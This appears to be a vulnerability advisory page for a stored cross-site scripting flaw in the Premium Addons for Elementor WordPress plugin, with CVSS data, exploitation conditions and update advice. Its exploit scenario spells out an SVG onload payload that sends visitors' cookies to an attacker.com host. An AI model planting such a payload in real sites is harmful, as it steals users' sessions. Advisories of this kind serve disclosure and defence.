EUVD-2026-26783Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Lifecycle Timeline
4DescriptionCVE.org
The Premium Addons for Elementor - Powerful Elementor Templates & Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'custom_svg' parameter in versions up to, and including, 4.11.70 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
AnalysisAI
Stored Cross-Site Scripting in Premium Addons for Elementor plugin for WordPress up to version 4.11.70 allows authenticated attackers with contributor-level or higher privileges to inject arbitrary JavaScript via the 'custom_svg' parameter, which executes in the browsers of users viewing the affected pages. The vulnerability stems from insufficient input sanitization and output escaping on a user-controllable SVG parameter. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires three specific, concrete conditions: (1) the attacker must have authenticated access to WordPress with at least contributor-level permissions or higher (author, editor, admin), which implies either a legitimate user account, credential compromise, or a site with open user registration; (2) the custom_svg parameter must be accessible and rendered without sanitization in the Elementor page builder or page rendering pipeline, specifically when the plugin is installed and activated; (3) the injected page must be viewed by another user (typically an administrator, editor, or site visitor) for the stored XSS to execute. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS score of 5.4 with vector AV:N/AC:L/PR:L/UI:R/S:C reflects a moderate risk profile with several important constraints. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with a legitimate WordPress contributor account creates a new page or post within Elementor page builder. Instead of uploading a legitimate SVG file, the attacker injects a crafted SVG containing a malicious script (e.g., <svg onload="fetch('https://attacker.com/steal?cookie='+document.cookie)" />) into the 'custom_svg' parameter and publishes the page. … |
| Remediation | Update Premium Addons for Elementor to version 4.11.71 or later immediately. … Detailed patch versions, workarounds, and compensating controls in full report. |
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